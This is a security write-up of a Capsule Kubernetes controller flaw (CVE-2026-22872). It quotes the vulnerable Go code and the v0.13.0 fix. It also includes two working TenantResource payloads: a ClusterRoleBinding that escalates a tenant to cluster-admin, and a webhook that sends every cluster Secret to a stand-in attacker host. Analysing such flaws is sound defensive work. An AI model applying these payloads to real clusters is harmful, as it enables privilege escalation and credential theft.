Capsule's TenantResource controller decodes a tenant owner's raw YAML, calls obj.SetNamespace(ns.Name) to keep the result inside the tenant's boundary, and then performs createOrUpdate with the controller's own credentials. The controller's own credentials are cluster-admin.
CVE-2026-22872 is the gap between those three lines. SetNamespace is the enforcement. The Kubernetes API silently drops .metadata.namespace on cluster-scoped resources. Any tenant owner who can write a TenantResource can ask the controller to mint cluster-wide objects on their behalf.
The enforcement is obj.SetNamespace
The vulnerable function is HandleSection in internal/controllers/resources/processor.go, the file that v0.13.0 deletes wholesale as part of its refactor. Inside HandleSection, the RawItems loop is three operations:
for rawIndex, item := range spec.RawItems {
template := string(item.Raw)
fastContext := tenant.ContextForTenantAndNamespace(&tnt, &ns)
tmplString := tpl.FastTemplate(template, fastContext)
obj, keysAndValues := unstructured.Unstructured{}, []any{"index", rawIndex}
if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
[]byte(tmplString), nil, &obj,
); decodeErr != nil {
log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, decodeErr)
continue
}
obj.SetNamespace(ns.Name)
if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
log.Info("unable to sync rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, rawErr)
} else {
log.Info("resource has been replicated", keysAndValues...)
...
}
}
Three things happen, in order.
codecFactory.UniversalDeserializer().Decode accepts any Kubernetes object whose GVK is in the scheme. ConfigMap parses. Deployment parses. ClusterRole parses. ClusterRoleBinding parses. ValidatingWebhookConfiguration parses. The decoder does not care whether the kind is namespaced.
obj.SetNamespace(ns.Name) writes the tenant's namespace string into .metadata.namespace on the decoded object. This is the line the design treats as the trust boundary. Every other line above and below it presupposes that this one is doing scope enforcement.
r.createOrUpdate(...) is fifteen lines that hand the object to a controllerutil.CreateOrUpdate call against r.client:
func (r *Processor) createOrUpdate(
ctx context.Context,
obj *unstructured.Unstructured,
labels map[string]string,
annotations map[string]string,
) (err error) {
actual, desired := &unstructured.Unstructured{}, obj.DeepCopy()
actual.SetAPIVersion(desired.GetAPIVersion())
actual.SetKind(desired.GetKind())
actual.SetNamespace(desired.GetNamespace())
actual.SetName(desired.GetName())
_, err = controllerutil.CreateOrUpdate(ctx, r.client, actual, func() error {
...
})
return err
}
r.client is the controller-runtime client. Its identity is the Capsule controller's ServiceAccount. The default Helm chart binds that ServiceAccount to cluster-admin, because Capsule's defensive mission is to replicate RBAC, NetworkPolicy, ResourceQuota, and Secret across namespaces the controller does not own, and cluster-admin is the only role that grants write access into every namespace at once.
The boundary the controller drew was the boundary obj.SetNamespace can draw. obj.SetNamespace draws no boundary on objects whose backing storage ignores the field.
Two resource kinds. Same controller. Different blast radius.
The Kubernetes API server branches on resource scope before it looks at .metadata.namespace. For a namespaced resource, the namespace is part of the object's identity and is required for storage. For a cluster-scoped resource, there is no namespace dimension in storage; the apiserver accepts the request body, drops the namespace field if present, and writes the object cluster-wide.
A tenant owner with TenantResource write authority in their own namespace submits:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: escalate
namespace: alice-tenant-a
spec:
resyncPeriod: 60s
pruningOnDelete: false
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: alice
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: alice-becomes-cluster-admin
subjects:
- kind: ServiceAccount
name: default
namespace: alice-tenant-a
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
The TenantResource lands in alice-tenant-a, where the tenant owner has RBAC to create it. The Capsule controller picks it up. HandleSection iterates spec.NamespacedItems (empty), then iterates spec.RawItems once per selected namespace. The decoder parses the inline YAML and produces an unstructured ClusterRoleBinding. obj.SetNamespace("alice-tenant-a") writes the field. createOrUpdate POSTs the object via r.client, which is bearing the controller's cluster-admin token. The apiserver receives the POST, routes it to the cluster-scoped ClusterRoleBinding handler, and writes the binding to etcd without the namespace field. The binding's subjects[0] is a ServiceAccount inside the tenant's own namespace. The binding's roleRef is cluster-admin. The tenant owner now has cluster-admin against every API resource on every node in the cluster.
The advisory's second weaponization is a ValidatingWebhookConfiguration:
- apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: alice-intercepts-secrets
webhooks:
- name: peek.alice.example
sideEffects: None
admissionReviewVersions: ["v1"]
failurePolicy: Ignore
clientConfig:
url: https://attacker.example/peek
rules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE", "UPDATE"]
resources: ["secrets"]
scope: "*"
Same code path. Same decoder. Same SetNamespace. Same createOrUpdate. ValidatingWebhookConfiguration is cluster-scoped; the namespace field is silently dropped. The webhook lands cluster-wide with failurePolicy: Ignore, which means the apiserver continues even when the webhook never responds. Every Secret create or update in the cluster after that point passes through https://attacker.example/peek. The kube-system ServiceAccount tokens. The cert-manager private keys. The cloud-provider credentials.
Both payloads ride the same three lines.
Capsule's defensive mission is cluster-admin
This is the security-tool-as-primitive shape in its sharpest form. Capsule's reason to exist is to bolt multi-tenancy onto vanilla Kubernetes, and the only way to bolt multi-tenancy onto Kubernetes is to have an authority above all tenants. The Helm chart's default ClusterRoleBinding is to cluster-admin because every narrower role is strictly weaker than what the controller has to do during reconciliation. The README documents this. The advisory cites it as a precondition.
The pattern's question is whether the operator's API to the controller is narrower than what the controller can do. For Capsule, the operator's API to the controller is the set of CRDs the controller watches. TenantResource was supposed to be narrower than cluster-admin. Its name encodes its scope. Its CRD enumerates two collection types: NamespacedItems, which references existing in-cluster objects by selector, and RawItems, which embeds YAML inline. The developer's threat model was that a tenant owner would only ever embed tenant-scope objects in RawItems, because the surrounding type and field names tell that story.
The decoder does not read field names. runtime.RawExtension is runtime.RawExtension. The check that would discriminate, mapper.RESTMapping(gvk.GroupKind(), gvk.Version).Scope.Name() != k8smeta.RESTScopeNameNamespace, exists elsewhere in the same codebase. Capsule's customquota calculator uses it: if in.RequireNamespacedTargets && mapping.Scope.Name() != k8smeta.RESTScopeNameNamespace. The check did not run on the path that decoded tenant owner YAML and handed it to a cluster-admin client.
This is the trust-inversion shape one layer in. The distrusted lane, a tenant owner calling the Kubernetes API directly, runs through Kubernetes RBAC and gets stopped at the first cluster-scoped create. The trusted lane, the Capsule controller reconciling a TenantResource on the tenant owner's behalf, runs as cluster-admin and has no scope check between the YAML and the apply. The trust the operator placed in the type name was the trust the runtime did not enforce. The credential that authorizes Capsule to do its job is the credential the tenant owner inherits whenever they can shape the input to a controller method.
The fix is a parameter named allowClusterScoped
Capsule v0.13.0, shipped May 28 2026 in commit cc4fb45d, deletes the old internal/controllers/resources/processor.go (320 lines, with the HandleSection body) and replaces the loader with a new pkg/template/reference.go whose LoadResources takes an explicit boolean:
func (t ResourceReference) LoadResources(
ctx context.Context,
kubeClient client.Client,
restMapper k8smeta.RESTMapper,
namespace string,
additionSelectors []labels.Selector,
templateContext map[string]string,
allowClusterScoped bool,
validateNamespace NamespaceValidator,
) ([]*unstructured.Unstructured, error) {
isNamespaced, err := t.IsNamespacedGVK(restMapper)
if err != nil {
return nil, err
}
if !allowClusterScoped && !isNamespaced {
return nil, fmt.Errorf(
"cluster-scoped kind %s/%s is not allowed", t.APIVersion, t.Kind,
)
}
...
}
And IsNamespacedGVK is twelve lines:
func (t ResourceReference) IsNamespacedGVK(
restMapper k8smeta.RESTMapper,
) (bool, error) {
gv, err := schema.ParseGroupVersion(t.APIVersion)
if err != nil {
return false, fmt.Errorf("invalid apiVersion %q: %w", t.APIVersion, err)
}
gvk := gv.WithKind(t.Kind)
mapping, err := restMapper.RESTMapping(gvk.GroupKind(), gvk.Version)
if err != nil {
return false, fmt.Errorf("failed to resolve GVK %s: %w", gvk.String(), err)
}
isNamespaced := mapping.Scope.Name() == k8smeta.RESTScopeNameNamespace
return isNamespaced, nil
}
The tenant-scoped call site, internal/controllers/resources/collect.go:308, passes false:
p, err := item.LoadResources(
ctx, c, co.mapper, namespace,
[]labels.Selector{selector},
opts.Iterator.FastContext,
false,
opts.ValidatorNamespaces,
)
The check the apiserver was implicitly performing on the bug's behalf, "what scope is this kind," now runs in Capsule's own code, before the controller's credentials get involved. Inputs the apiserver would have silently accepted at cluster scope are now rejected at load time with a typed error.
Two observations about the diff.
The relevant repair is twelve lines: ask the RESTMapper what scope this kind is, refuse if it is cluster-scoped on a tenant-scoped path. Twelve lines closes the CVE. Everything else in the v0.13.0 changeset is unrelated work the same release happened to ship.
The diff shipped inside a 320-line deletion and a six-thousand-line addition, with the commit title feat: upstream enterprise preview (#1841). Operators reading the v0.13.0 changelog would not learn that the file containing HandleSection had been removed because it was unsafe. They would learn that the project added enterprise features. The fix is in the diff. The disclosure is the GHSA, published on a separate timeline.
The enforcement was a no-op for the kinds that mattered
The decoder accepts every kind the apiserver knows. The enforcement is a syscall the apiserver documents as a no-op for the exact kinds the attacker wanted to create. The credential on the other side is cluster-admin. A tenant owner submits YAML; the controller decodes it, decorates it with a namespace field the apiserver will throw away, and then signs the request with cluster-admin. The boundary lives at exactly one place in the code, and at that one place the design picked a primitive that does nothing on the inputs that mattered.
A multi-tenancy controller's only meaningful enforcement is what it refuses to create. SetNamespace is not refusal. It is decoration on a field the apiserver does not read for the kinds the attacker was always going to ask for.
PoC: GHSA-qjjm-7j9w-pw72
A multi-tenancy controller's only meaningful enforcement is what it refuses to create. SetNamespace is not refusal. It is decoration on a field the apiserver does not read for the kinds the attacker was always going to ask for.